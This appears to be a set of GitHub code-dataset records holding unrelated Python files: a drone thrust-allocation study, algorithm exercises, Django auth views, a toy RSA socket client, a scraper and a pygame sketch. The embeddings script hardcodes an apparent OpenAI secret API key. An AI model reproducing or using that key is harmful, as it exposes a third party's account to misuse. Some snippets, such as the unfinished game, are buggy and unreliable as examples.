Vec3,Rotation\nimport matplotlib.pyplot as plt\n\nfrom tensegrity.tensegrity_plotter import TensegrityPlotter\nfrom tensegrity.tensegrity import Tensegrity\nfrom tensegrity.tensegrity_rotation import TensegrityRotation\n\nimport scipy.optimize\nfrom matplotlib import rcParams\n\n\n########################################\n########################################\n########################################\n\n\"\"\"\nThis script compares the thrust conversion methods in terms of the norm of torque error generated.\n1. Assume total thrust is 0. Do inverse with the full-size mixer matrix then do thrust saturate.\n2. No total thrust requirement. Pseudo-inverse + thrust saturation.\n3. No total thrust requirement. Use optimization method.\n\n\"\"\"\nfirstTime = True # Run a new round of computation and save pickle file if the program is run first time \nrodLength = 0.20 #Length of tensegrity rod\npropX = 0.05 #Offset x-distance for propeller \npropY = 0.034 #Offset y-distance for propeller\ntorqueFromForceFwd = 0.009975 # [m]\ntorqueFromForceRev = 0.0163 # [m] \nmaxThrust = 2.8 # [N] \nminThrust = -1.5 # [N]\npropRadius = 0.032 #[m] 2.5Inch prop\nmass = 0.330 # [kg]\nfrictionCoeff = 0.2\n\ninertia_xx = 7.82e-4 #[kg*m^2]\ninertia_yy = 12.59e-4 #[kg*m^2]\ninertia_zz = 12.90e-4 #[kg*m^2]\nCOMOffset = Vec3(0,0,0.01)\n\nmotorParam = [minThrust, maxThrust, torqueFromForceFwd, torqueFromForceRev]\ninertialParam = [mass, inertia_xx, inertia_yy, inertia_zz]\nmyTensegrity = Tensegrity(rodLength,propX,propY,propRadius)\nmyTensegrityRot = TensegrityRotation(myTensegrity,motorParam,inertialParam)\n\nface0=3 # start face\nface1=4 # desired face to rotate to\nax0, angle, unitRotPt, isEdge = myTensegrityRot.get_rotation_axis_angle_point(face0, face1, unitFlag = True)\nax1 = unitRotPt.to_unit_vector()\n\ntauAxis0Min = tauAxis1Min = -0.2\ntauAxis0Max = tauAxis1Max = 0.2\nsecNumAxis0 = secNumAxis1 = 100\n\ntau0 = np.linspace(tauAxis0Min, tauAxis0Max, secNumAxis0)\ntau1 = np.linspace(tauAxis1Min, tauAxis1Max, secNumAxis1)\n\nprint(tau0.shape[0])\nprint(tau1.shape[0])\ninvErrorRateData = np.zeros([tau0.shape[0],tau1.shape[0]])\npinvErrorRateData = np.zeros([tau0.shape[0],tau1.shape[0]])\noptErrorRateData = np.zeros([tau0.shape[0],tau1.shape[0]])\nX, Y = np.meshgrid(tau0, tau1)\n\n\ndef thrustNorm(thrust):\n return np.linalg.norm(thrust)\n\ndef torqueError(thrust, M, tauCmd):\n # M 3x4 matrix\n # tauCmd 3x1 vector\n # thrust, unkown 1x4, will be reshaped to 4x1 \n tauOut = M @ thrust\n return np.linalg.norm(tauOut - tauCmd)\n\ndef torqueEq(thrust,M,tauCmd):\n tauOut = M @ thrust\n return tauOut - tauCmd\n\nif firstTime:\n for i in range(tau0.shape[0]):\n for j in range (tau1.shape[0]):\n print(\"round=\",(i,j))\n tauCmd = (tau0[i]*ax0+tau1[j]*ax1).to_array().squeeze()\n\n ## Part0: Inverse with zero total thrust assumption + saturation\n invErrorRate_ij = 100 # Initialize with a large error\n for k in range(16):\n fDirGuess = [int(x)*2-1 for x in list('{0:04b}'.format(k))]\n M_full = myTensegrityRot.get_full_mixer_matrix(face0,face1,fDirGuess)\n RHS = np.zeros(4)\n RHS[0:3] = tauCmd\n fCmd = np.linalg.inv(M_full) @ RHS # Compute the full\n #Saturate\n for l in range(4):\n if fCmd[l] < minThrust:\n fCmd[l] = minThrust\n if fCmd[l] > maxThrust:\n fCmd[l] = maxThrust\n\n M = myTensegrityRot.get_mixer_matrix(face0,face1,fDirGuess)\n invErrorRate = np.linalg.norm(M @ fCmd - tauCmd)/np.linalg.norm(tauCmd)\n if invErrorRate < invErrorRate_ij:\n invErrorRate_ij = invErrorRate\n if invErrorRate < 1e-3:\n invErrorRate_ij = 0\n break\n invErrorRateData[i,j] = invErrorRate_ij\n\n ## Part1: Pseudoinverse + saturation\n pinvErrorRate_ij = 100 # Initialize with a large error\n for k in range(16):\n fDirGuess = [int(x)*2-1 for x in list('{0:04b}'.format(k))]\n M = myTensegrityRot.get_mixer_matrix(face0,face1,fDirGuess)\n fCmd = np.linalg.pinv(M) @ tauCmd #Compute the inverse\n for l in range(4):\n if fCmd[l] < minThrust:\n fCmd[l] = minThrust\n if fCmd[l] > maxThrust:\n fCmd[l] = maxThrust\n \n pinvErrorRate = np.linalg.norm(M @ fCmd - tauCmd)/np.linalg.norm(tauCmd)\n if pinvErrorRate < pinvErrorRate_ij:\n pinvErrorRate_ij = pinvErrorRate\n if pinvErrorRate < 1e-3:\n pinvErrorRate_ij = 0\n break\n pinvErrorRateData[i,j] = pinvErrorRate_ij\n optErrorRate_ij = 100\n for k in range(16):\n fDirGuess = [int(x)*2-1 for x in list('{0:04b}'.format(k))]\n # Create the thrust bound\n bnds = []\n for l in range(4):\n if fDirGuess[l]>=0:\n lowerThrustBnd = 0\n upperThrustBnd = maxThrust\n else:\n lowerThrustBnd = minThrust\n upperThrustBnd = 0 \n bnds.append((lowerThrustBnd,upperThrustBnd))\n \n M = myTensegrityRot.get_mixer_matrix(face0,face1,fDirGuess)\n f0 = np.zeros(4)\n cons = {'type': 'eq', 'fun': torqueEq, 'args': (M, tauCmd)} \n res = scipy.optimize.minimize(thrustNorm, f0, constraints = cons, bounds = bnds)\n if res.success:\n optErrorRate_ij = 0\n break\n else:\n f0 = np.linalg.pinv(M) @ tauCmd #Compute the inverse\n res = scipy.optimize.minimize(torqueError, f0, method='SLSQP', bounds = bnds, args=(M, tauCmd))\n fCmd = res.x\n optErrorRate = np.linalg.norm(M @ fCmd - tauCmd)/np.linalg.norm(tauCmd)\n if optErrorRate < optErrorRate_ij:\n optErrorRate_ij = optErrorRate\n optErrorRateData[i,j] = optErrorRate_ij\n result =dict({\"optErrorRate\":optErrorRateData,\"pinvErrorRate\":pinvErrorRateData,\"invErrorRate\":invErrorRateData}) \n file = open(\"optErrorRate\"+\".pickle\", 'wb')\n pickle.dump(result, file)\n file.close()\nelse: \n file = open(\"optErrorRate\"+\".pickle\", 'rb')\n data = pickle.load(file)\n file.close()\n optErrorRateData = data[\"optErrorRate\"]\n pinvErrorRateData = data[\"pinvErrorRate\"]\n invErrorRateData = data[\"invErrorRate\"]\n# Creating figure 3d / heatmap\nplotStyle = \"heatmap\" \nif plotStyle == \"3d\":\n rcParams['axes.labelpad'] = 50\n fig = plt.figure(figsize=(30, 20), dpi=100)\n labelSize = 40\n ax = plt.axes(projection=\"3d\")\n ax.set_xlim(-0.15,0.15)\n ax.set_ylim(-0.15,0.15)\n ax.set_xlabel('Torque - Axis1 [Nm]',fontsize=labelSize, linespacing=100)\n ax.set_ylabel('Torque - Axis2 [Nm]',fontsize=labelSize, linespacing=100)\n ax.set_zlabel('Error Rate [Nm/Nm]',fontsize=labelSize, linespacing=100)\n surf = ax.plot_surface(X, Y, optErrorRateData, cmap='viridis',\n linewidth=0, antialiased=False,shade=False)\n surf = ax.plot_surface(X, Y, pinvErrorRateData, cmap='plasma',\n linewidth=0, antialiased=False,shade=False)\n ax.grid(False)\n ax.tick_params(axis='both', labelsize=labelSize)\n ax.yaxis.set_major_formatter(plt.FormatStrFormatter('%.1f'))\n ax.xaxis.set_major_formatter(plt.FormatStrFormatter('%.1f'))\n ax.zaxis.set_major_formatter(plt.FormatStrFormatter('%.1f'))\n ax.tick_params(axis='z', which='major', pad=20)\n ax.view_init(10, -45)\n plt.locator_params(nbins=5) \n plt.savefig(\"comparisonResult.svg\", format = 'svg', dpi=100)\n plt.savefig(\"comparisonResult.png\", format = 'png', dpi=100)\n plt.show()\n\nelif plotStyle == \"heatmap\":\n vmin = min([np.min(invErrorRateData),np.min(pinvErrorRateData), np.min(optErrorRateData)])\n vmax = max([np.max(invErrorRateData),np.max(pinvErrorRateData), np.max(optErrorRateData)])\n levels = np.linspace(0, 1.1, 12)\n annotate_levels = levels[::2] # Select every second level for annotation\n\n fig1, axs = plt.subplots(nrows=1, ncols=3, figsize=(8, 5), sharex='col', sharey='row')\n (ax0, ax1, ax2) = axs\n\n fig1.suptitle('Command Error Rate', fontsize=10)\n\n cs0 = ax0.contour(X, Y, invErrorRateData, levels=levels, colors='black')\n cs0c =ax0.contourf(X, Y, invErrorRateData, levels=levels, cmap='BuPu')\n plt.clabel(cs0, levels = annotate_levels, inline=True, fontsize=8) # annotate contours\n\n ax0.set_ylabel('Torque - Axis-2[Nm]', fontsize=10)\n ax0.set_xlabel('Torque - Axis-1[Nm]', fontsize=10)\n ax0.set_yticks(np.arange(-0.2, 0.21, 0.1))\n ax0.tick_params(labelsize=8)\n ax0.set_title('0-Sum + Inverse + Saturation', fontsize=10)\n ax0.set_aspect('equal')\n\n cs1 = ax1.contour(X, Y, pinvErrorRateData, levels=levels, colors='black')\n cs1c =ax1.contourf(X, Y, pinvErrorRateData, cmap='BuPu', levels=levels)\n plt.clabel(cs1, levels = annotate_levels, inline=True, fontsize=8) # annotate contours\n ax1.set_xlabel('Torque - Axis-1[Nm]', fontsize=10)\n ax1.tick_params(labelsize=8)\n ax1.set_yticks(np.arange(-0.2, 0.21, 0.1))\n ax1.set_title('Pseudoinverse + Saturation', fontsize=10)\n ax1.set_aspect('equal')\n\n cs2 = ax2.contour(X, Y, optErrorRateData, levels=levels, colors='black')\n cs2c = ax2.contourf(X, Y, optErrorRateData, cmap='BuPu', levels=levels)\n plt.clabel(cs2, levels = annotate_levels, inline=True, fontsize=8) # annotate contours\n ax2.set_xlabel('Torque - Axis-1[Nm]', fontsize=10)\n ax2.set_yticks(np.arange(-0.2, 0.21, 0.1))\n ax2.tick_params(labelsize=8)\n ax2.set_title('Optimization', fontsize=10)\n ax2.set_aspect('equal')\n \n cbar = fig1.colorbar(cs2c, ax=axs.ravel().tolist(), orientation='horizontal')\n cbar.set_ticks(levels)\n cbar.ax.tick_params(labelsize=8) # Change the tick size on the colorbar\n\n plt.savefig(\"ThrustConverterComparison.pdf\", format='pdf') # save as pdf\n plt.savefig(\"ThrustConverterComparison.png\", format='png', dpi=300) # save as png\n plt.show()\nprint(\"done\")\n","repo_name":"muellerlab/TensegrityAerialVehicleReorientation","sub_path":"torque_converter_test.py","file_name":"torque_converter_test.py","file_ext":"py","file_size_in_byte":10546,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"32436220929","text":"# coding=utf-8\n\n# 109. Convert Sorted List to Binary Search Tree\n# 将有序数组转换为二叉树\n\n# MyWay pre-order\nclass Solution(object):\n def sortedArrayToBST(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: TreeNode\n \"\"\"\n if not nums:\n return None\n length = len(nums)\n bst = TreeNode(nums[length/2])\n bst.left = self.sortedArrayToBST(nums[:length/2])\n bst.right = self.sortedArrayToBST(nums[length/2+1:])\n return bst\n","repo_name":"OldFuzzier/Data-Structures-and-Algorithms-","sub_path":"Tree/BinarySearchTree/109_Convert_Sorted_List_to_Binary_Search_Tree.py","file_name":"109_Convert_Sorted_List_to_Binary_Search_Tree.py","file_ext":"py","file_size_in_byte":510,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"23628458840","text":"\n# imports\nimport pandas as pd\nimport tiktoken\n\nfrom openai.embeddings_utils import get_embedding\nimport os\nimport openai\n\nimport time\n\n\nimport os\nimport sys\n\nroot_path = os.getcwd()\n\n\nopenai.api_key = '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'\n\n# embedding model parameters\nembedding_model = \"text-embedding-ada-002\"\nembedding_encoding = \"cl100k_base\" # this the encoding for text-embedding-ada-002\nmax_tokens = 8000 # the maximum for text-embedding-ada-002 is 8191\n\n\n# load & inspect dataset\n# to save space, we provide a pre-filtered dataset\ninput_datapath = f\"{root_path}/openai_handle/data/fine_food_reviews_1k.csv\"\nprint(f'input datapath: {input_datapath} ')\ndf = pd.read_csv(input_datapath, index_col=0)\ndf = df[[\"Time\", \"ProductId\", \"UserId\", \"Score\", \"Summary\", \"Text\"]]\ndf = df.dropna()\ndf[\"combined\"] = (\n \"Title: \" + df.Summary.str.strip() + \"; Content: \" + df.Text.str.strip()\n)\nprint(df.head(2))\n\n\n# # subsample to 1k most recent reviews and remove samples that are too long\ntop_n = 1000\n# first cut to first 2k entries, assuming less than half will be filtered out\ndf = df.sort_values(\"Time\").tail(top_n * 2)\ndf.drop(\"Time\", axis=1, inplace=True)\n\nencoding = tiktoken.get_encoding(embedding_encoding)\nst = time.time()\n\n\n# omit reviews that are too long to embed\ndf[\"n_tokens\"] = df.combined.apply(lambda x: len(encoding.encode(x)))\ndf = df[df.n_tokens <= max_tokens].tail(top_n)\nprint(len(df))\n\n\n# Ensure you have your API key set in your environment per the README: https://github.com/openai/openai-python#usage\n\n\n# This may take a few minutes\n\ndf[\"embedding\"] = df.combined.apply(\n lambda x: get_embedding(x, engine=embedding_model))\ndf.to_csv(\n f\"{root_path}/openai_handle/output/fine_food_reviews_with_embeddings_1k.csv\")\n\net = time.time()\n\nelapsed_time = et - st\nprint('Execution time:', elapsed_time, 'seconds')\n","repo_name":"quangkhoi1228/hpcg","sub_path":"openai_handle/modules/training_model/obtain_dataset.py","file_name":"obtain_dataset.py","file_ext":"py","file_size_in_byte":1855,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"29969639029","text":"\"\"\"\nProszę napisać program sprawdzający czy istnieje spójny podciąg ciągu Fibonacciego o zadanej sumie.\n\"\"\"\nnumber = int(input(\"Enter sum to check: \"))\na1 = 0\nb1 = 1\na2 = 0\nb2 = 1\namount = 0\nwhile b1 <= b2 and amount >= 0:\n if amount == number:\n print(\"Exist\")\n break\n elif amount < number:\n amount += b2\n b2 += a2\n a2 = b2 - a2\n elif amount > number:\n amount -= b1\n b1 += a1\n a1 = b1 - a1\n if amount < number:\n print(\"Doesn't exist\")\n break\n","repo_name":"Szymon-Budziak/Introduction_to_Computer_Science_course_AGH","sub_path":"Section_1/Exercise_03.py","file_name":"Exercise_03.py","file_ext":"py","file_size_in_byte":542,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"34867682338","text":"import json\nfrom rest_framework.permissions import AllowAny, IsAuthenticated\nfrom rest_framework.views import APIView\nfrom rest_framework.response import Response\nfrom rest_framework.authentication import TokenAuthentication\nfrom rest_framework.authtoken.models import Token\nfrom rest_framework import status\n\nfrom .serializers import UserSerializer\nfrom django.contrib.auth import get_user_model\n\nfrom django.http import HttpResponse\nfrom django.template import loader\n\n\n# Class based view to Get user Details using Token Authentication\nclass UserDetailAPI(APIView):\n\tpermission_classes = [IsAuthenticated]\n\tauthentication_classes = (TokenAuthentication,)\n\tdef post(self, request, *args, **kwargs):\n\t\toutput = {\"error\": None, \"result\": None}\n\t\tid = request.data.get(\"id\")\n\t\tif(id):\n\t\t\tuser = get_user_model().objects.filter(id=id)\n\t\t\tif(user):\n\t\t\t\tserializer = UserSerializer(user.first())\n\t\t\t\toutput[\"result\"] = serializer.data\n\t\t\telse:\n\t\t\t\toutput[\"error\"] = \"User with this id not found\"\n\t\telse:\n\t\t\tuser = get_user_model().objects.all()\n\t\t\tserializer = UserSerializer(user, many=True)\n\t\t\toutput[\"result\"] = serializer.data\n\t\treturn Response(output)\n\t\t\n\nclass UserAPI(APIView):\n\t#permission_classes = [IsAuthenticated]\n\tpermission_classes = [AllowAny]\n\t#authentication_classes = (TokenAuthentication,)\n\t\n\tdef post(self, request, *args, **kwargs):\n\t\tserializer = UserSerializer(data = request.data)\n\t\tif serializer.is_valid():\n\t\t\tserializer.save()\n\t\t\treturn Response({\"error\": None, \"result\": serializer.data}, status=status.HTTP_201_CREATED)\n\t\treturn Response({\"error\": serializer.errors, \"result\": None}, status=status.HTTP_400_BAD_REQUEST)\n\t\n\tdef delete(self, request, *args, **kwargs):\n\t\tif(not request.user.is_authenticated):\n\t\t\treturn Response({\"error\": \"User not authorized\", \"result\": None}, status=status.HTTP_401_UNAUTHORIZED)\n\t\ttry:\n\t\t\trequest.user.delete()\n\t\t\treturn Response({\"error\": None, \"result\": \"Successfully deleted.\"}, status=status.HTTP_200_OK)\n\t\texcept Exception as e:\n\t\t\treturn Response({\"error\": str(e), \"result\": None}, status=status.HTTP_500_INTERNAL_SERVER_ERROR)\n\t\nclass UserAuthAPI(APIView):\n\tpermission_classes = []\n\t\n\tdef post(self, request, *args, **kwargs):\n\t\tif(not request.user.is_authenticated):\n\t\t\tlogin = request.data.get('login')\n\t\t\tpassword = request.data.get('password')\n\t\t\tusers = get_user_model().objects.filter(login=login)\n\t\t\tif(users):\n\t\t\t\tuser = users.first()\n\t\t\t\tif(user.check_password(password)):\n\t\t\t\t\ttoken, _ = Token.objects.get_or_create(user=user)\n\t\t\t\t\trequest.user = user\n\t\t\t\t\tserializer = UserSerializer(user)\n\t\t\t\t\treturn Response({\"error\": None, \"result\": {\"token\": token.key, \"user\": serializer.data}}, status=status.HTTP_200_OK)\n\t\t\treturn Response({\"error\": \"Invalid credentials\", \"result\": None}, status=status.HTTP_401_UNAUTHORIZED)\n\t\telse:\n\t\t\treturn Response({\"error\": None, \"result\": {\"token\": Token.objects.get(user=request.user).key, \"user\": UserSerializer(request.user).data}}, status=status.HTTP_200_OK)\n\n\tdef delete(self, request, *args, **kwargs):\n\t\tif(not request.user.is_authenticated):\n\t\t\treturn Response({\"error\": \"user not authorized\", \"result\": None}, status=status.HTTP_401_UNAUTHORIZED)\n\t\ttry:\n\t\t\trequest.user.auth_token.delete()\n\t\t\treturn Response({\"error\": None, \"result\": \"Successfully logged out.\"}, status=status.HTTP_200_OK)\n\t\texcept Exception as e:\n\t\t\treturn Response({\"error\": str(e), \"result\": None}, status=status.HTTP_500_INTERNAL_SERVER_ERROR)\n\ndef login(request):\n\ttemplate = loader.get_template(\"user_action.html\")\n\treturn HttpResponse(template.render({}, request))\n\ndef details(request, id):\n\ttemplate = loader.get_template(\"user_details.html\")\n\tUserSerializer()\n\tuser = get_user_model().objects.filter(id=id)\n\tif(user):\n\t\tserializer = UserSerializer(user.first())\n\t\treturn HttpResponse(template.render(serializer.data, request), status=200)\n\telse:\n\t\treturn HttpResponse(template.render({}, request), status=404)\n\n","repo_name":"TitanXxX/EventsDjango","sub_path":"eventsdjango/users/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3907,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"38465183506","text":"import pygame\nimport time\npygame.init()\nsize = width,height = 640, 480\n\nGROUND_HEIGHT = height-200\nxPos = 0\nyPos = 0\n\ngameDisplay= pygame.display.set_mode(size)\n\n\n\nclass Dinosaur:\n dinocolour = 255,255,255\n DINOHEIGHT = 40\n DINOWIDTH = 20\n def __init__(self, surfaceHeight):\n self.x = 60\n self.y = 0\n self.yvelocity = 0\n self.height = self.DINOHEIGHT\n self.width = self.DINOWIDTH\n self.surfaceHeight = surfaceHeight\n def jump(self): \n if(self.y == 0):\n self.yvelocity = 300\n def update(self, deltaTime): \n self.yvelocity += -500*deltaTime #gravity\n self.y += self.yvelocity * deltaTime\n if self.y < 0: \n self.y = 0\n self.yvelocity = 0\n\n def draw(self,display):\n pygame.draw.rect(display,dinocolour,[self.x,self.surfaceHeight-self.y-self.height,self.width,self.height])\n\n\ndef main():\n dino = Dinosaur(GROUND_HEIGHT)\n\n clock = pygame.time.Clock()\n while True:\n\n\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit() #quits\n quit()\n if event.type == pygame.K_SPACE: \n dinosaur.jump() #Make dinosaur jump\n\n gameDisplay.fill((0,0,0))\n\n pygame.draw.rect(gameDisplay,(255,255,255), [30,30,40,50])\n pygame.draw.rect(gameDisplay,(255,255,255), [0,GROUND_HEIGHT, width, height-GROUND_HEIGHT])\n\nmain()\n\n\n","repo_name":"nishantarnav/test_demo","sub_path":"practise.py","file_name":"practise.py","file_ext":"py","file_size_in_byte":1452,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"43718495267","text":"# 让实例的方法成为类的方法\nclass Kls1(object):\n bar = 1\n def foo(self):\n print('in foo')\n # 使用类属性,方法\n @classmethod\n def class_foo(cls):\n print(cls.bar)\n print(cls.__name__)\n cls().foo()\n\nKls1.class_foo()\n\n###\nclass Story(object):\n snake = 'python'\n def __init__(self, name) -> None:\n self.name = name\n # 类的方法\n @classmethod\n def get_apple_to_eve(cls):\n return cls.snake\n\ns = Story('anyone')\n# get_apple_to_eve 是bound方法,查找顺序是先找s的__dict__是否含有get_apple_to_eve,如果没有,查类story\nprint(s.get_apple_to_eve)\n# 类和实例都可以使用\nprint(s.get_apple_to_eve())\nprint(Story.get_apple_to_eve())\n\nclass Kls2():\n def __init__(self, fname, lname) -> None:\n self.fname = fname\n self.lname = lname\n\n def print_name(self):\n print(f'first name is {self.fname}')\n print(f'last name is {self.lname}')\n\nme = Kls2('wilson', 'yin')\nme.print_name()\n\n# 把输入改为 wilson-yin\n# 解决方法一: 修改__init__()\n# 解决方法二: 增加__new__()构造函数\n# 解决方法三: 增加 提前处理的函数\n\ndef pre_name(obj, name):\n fname, lname = name.split('-')\n return obj(fname, lname)\n\nme2 = pre_name(Kls2, 'wilson-yin')\nme2.print_name()\n\n#####\nclass Kls3():\n def __init__(self, fname, lname):\n self.fname = fname\n self.lname = lname\n\n @classmethod\n def pre_name(cls, name):\n fname, lname = name.split('-')\n return cls(fname, lname)\n\n def print_name(self):\n print(f'first name is {self.fname}')\n print(f'last name is {self.lname}')\n\nme3 = Kls3.pre_name('wilson-yin')\nme3.print_name()\n\n###############\n'''\n 类方法用于模拟java定义多个构造函数的情况\n 由于python类中只能有一个初始化方法,不能按照不同的情况初始化类\n'''\nclass Fruit(object):\n total = 0\n\n @classmethod\n def print_total(cls):\n print(cls.total)\n print(id(Fruit.total))\n print(id(cls.total))\n\n @classmethod\n def set(cls, value):\n print(f'calling {cls}, {value}')\n cls.total = value\n\nclass Apple(Fruit):\n pass\n\nclass Orange(Fruit):\n pass\n\nApple.set(100)\nOrange.set(200)\n\norg = Orange()\norg.set(300)\n\nApple.print_total()\nOrange.print_total()","repo_name":"pyl-10/python_scripts","sub_path":"camp/object/p5_1classmethod.py","file_name":"p5_1classmethod.py","file_ext":"py","file_size_in_byte":2350,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"74864669363","text":"import numpy as np\nfrom sympy import symbols, sympify, lambdify\n\ndef double_gauss_func(d, x):\n sigma = 0.9 + 0.03 * d\n b = 3 * sigma\n shift2 = 10 - 2 * b\n return (np.exp(-0.5 * np.power(((x - b) / sigma), 2.0)) +\n np.exp(-0.5 * np.power(((x - b - shift2) / sigma), 2.0)))\n\n\ndef gauss_func(d, x):\n sigma = 0.4 + 0.16 * d\n b = 5\n return (np.exp(-0.5 * np.power(((x - b) / sigma), 2.0)))\n\n\ndef step_func(d, x):\n left = 4 - 0.3 * d\n right = 6 + 0.3 * d\n return np.where((left <= x) & (x <= right), 1.0, 0.0)\n\n\ndef triangle_func(d, x):\n k = 0.25 - 0.0125 * d\n b = -0.75 + 0.0625 * d\n #return (k * x + b if 0 <= k * x + b <= 1 else 0)\n return np.where((0 <= k * x + b) & (k * x + b <= 1), k * x + b, 0.0)\n\ndef custom_func(d, x):\n # Создаем символьные переменные\n x_sym = symbols('x')\n\n # Ввод формулы как строки\n formula_str = d\n\n # Преобразуем строку в символьное выражение\n formula = sympify(formula_str)\n\n # Создаем функцию Python из символьного выражения\n python_function = lambdify((x_sym), formula, \"numpy\")\n\n return python_function(x)","repo_name":"dsbarinov1/NumericSolutions","sub_path":"start_functions.py","file_name":"start_functions.py","file_ext":"py","file_size_in_byte":1235,"program_lang":"python","lang":"ru","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"39765212162","text":"from time import monotonic, strftime, gmtime, time\r\nfrom crypter import code, RSA\r\nfrom random import randbytes\r\nimport socket\r\n\r\ntimestamp = lambda: strftime(\"%d.%m.%y %H:%M:%S\", gmtime(time()))\r\ncalculate_time = lambda x: round((monotonic() - x) * 1000, 2)\r\nbytes_to_int = lambda x: int.from_bytes(x, \"big\")\r\n\r\nclass Log:\r\n class LogType:\r\n @property\r\n def INFO():\r\n return '\\033[36minfo\\033[0m'\r\n\r\n @property\r\n def WARN():\r\n return '\\033[33mwarn\\033[0m'\r\n\r\n @property\r\n def ERROR():\r\n return '\\033[31merrn\\033[0m'\r\n\r\n def __call__(self, type: LogType, message: str, time: float = 0.0) -> None:\r\n print(f\"{timestamp()}: {time} ms : [{type.fget()}] : {message}\")\r\n\r\n def LogDecorator(self, func) -> None:\r\n def wrapper(*args, **kwargs) -> None:\r\n self(self.LogType.INFO, f\"Calling function '{func.__name__}' with args {args, kwargs}\")\r\n try:\r\n runtime = monotonic()\r\n result = func(*args, **kwargs)\r\n self(self.LogType.INFO, f\"End function {func.__name__}\", calculate_time(runtime))\r\n return result\r\n except Exception as error:\r\n self(self.LogType.WARN, error)\r\n return wrapper\r\n\r\nlog = Log()\r\n\r\nclass PacketManager:\r\n @log.LogDecorator\r\n def keys_packet(rsa: RSA) -> bytes:\r\n data: bytes = (\r\n rsa._data['pubkey'][0].to_bytes(32, \"big\") + \r\n rsa._data['pubkey'][1].to_bytes(32, \"big\")\r\n )\r\n zerosize = 1022 - data.__len__()\r\n return zerosize.to_bytes(2, \"big\") + data + randbytes(zerosize)\r\n\r\n def fetch_pubkey_keys(keys: bytes) -> tuple[int, int]:\r\n zerosize = 1024 - bytes_to_int(keys[:2])\r\n data = keys[2:zerosize]\r\n keys = (bytes_to_int(data[:32]), bytes_to_int(data[32:64]))\r\n log(log.LogType.INFO, f\"Public key fetched! pubkey: {keys}\")\r\n return keys\r\n\r\n @log.LogDecorator\r\n def encode_packet(message: str, rsa: RSA) -> bytes:\r\n payload = rsa.encode(code(message), rsa._data['_pubkey'])\r\n zerosiez = 1022 - payload.__len__()\r\n return zerosiez.to_bytes(2, \"big\") + payload + randbytes(zerosiez)\r\n \r\n def decode_packet(message: str, rsa: RSA) -> bytes:\r\n zerosize = 1024 - int.from_bytes(message[:2], \"big\")\r\n return code(rsa.decode(message[2:zerosize], rsa._data['privkey']))\r\n\r\nclass Client:\r\n @log.LogDecorator\r\n def __init__(self, addr: tuple[str, int]) -> None:\r\n self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n self.rsa = RSA(key_length = 32)\r\n self.addr = addr\r\n\r\n @log.LogDecorator\r\n def start(self) -> bool:\r\n log(log.LogType.INFO, \"Generating keys...\")\r\n self.rsa.generate()\r\n log(log.LogType.INFO, \"Keys generated!\")\r\n\r\n log(log.LogType.INFO, \"Connectin to server...\")\r\n if not self._connect(): return False\r\n log(log.LogType.INFO, \"Connected!\")\r\n return True\r\n\r\n @log.LogDecorator\r\n def _connect(self) -> bool:\r\n try:\r\n self.socket.connect(self.addr)\r\n keys = self.socket.recv(1024)\r\n self.rsa._data['_pubkey'] = PacketManager.fetch_pubkey_keys(keys)\r\n self.socket.sendall(PacketManager.keys_packet(self.rsa))\r\n return True\r\n except Exception as error:\r\n log(log.LogType.ERROR, error)\r\n\r\n @log.LogDecorator\r\n def disconnect(self) -> None:\r\n self.socket.close()\r\n\r\n @log.LogDecorator\r\n def send(self, message: str) -> bool:\r\n try:\r\n encoded = PacketManager.encode_packet(message, self.rsa)\r\n self.socket.sendall(encoded)\r\n return True\r\n except Exception as error:\r\n log(log.LogType.WARN, error)\r\n ","repo_name":"WokasWokas/client-server","sub_path":"client/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":3846,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"4573954132","text":"import urllib.request\nimport bs4 as bs\nimport re\n\nsource = urllib.request.urlopen(\"https://minneapolis.craigslist.org/\").read()\nsoup = bs.BeautifulSoup(source, \"lxml\")\ncategories = soup.find_all(\"div\", class_=\"cats\")\nsub_categories_to_codes = {}\nfor cat in categories:\n cat_name = cat.find_previous_sibling('h4').getText()\n if cat_name != \"discussion forums\":\n uls = cat.find_all(\"ul\")\n for ul in uls:\n lis = ul.find_all(\"li\")\n for li in lis:\n name = li.getText()\n url = li.find(\"a\")[\"href\"].split(\"/\")\n sub_categories_to_codes[name] = url[len(url)-1]\nprint(sub_categories_to_codes)\n\n\n\n#div cats\n#find all ul\n#loop through ul","repo_name":"palu3492/craigslist-notify","sub_path":"get_sub_category_codes.py","file_name":"get_sub_category_codes.py","file_ext":"py","file_size_in_byte":712,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"71178936242","text":"# Toggle Log visibility\ndef toggle_log(self, value):\n if not value:\n self.ids.log.height = 0\n self.ids.log.size_hint_y = None\n self.ids.log.text = ''\n else:\n self.ids.log.height = self.parent.height * 0.72\n self.ids.log.size_hint_y = None\n self.ids.log.text = 'Log started\\n' + self.log\n\n\n# Update the integrated log (and print to terminal)\ndef update_log(self, text):\n if text is not None:\n print(text)\n if self.log is not None:\n self.log += (text + '\\n')\n else:\n self.log = (text + '\\n')\n\n # Update Log text only if visible\n if self.ids.chk.active:\n self.ids.log.text = 'Log started\\n' + self.log\n","repo_name":"davwys/MastersProject","sub_path":"trainingDashboard/log.py","file_name":"log.py","file_ext":"py","file_size_in_byte":718,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"1158926500","text":"import color\nimport pygame\nfrom entity import *\nfrom sprite import *\nfrom state import *\nfrom vector import *\n\nclass Bullet(Entity):\n\n\tdef __init__(self, 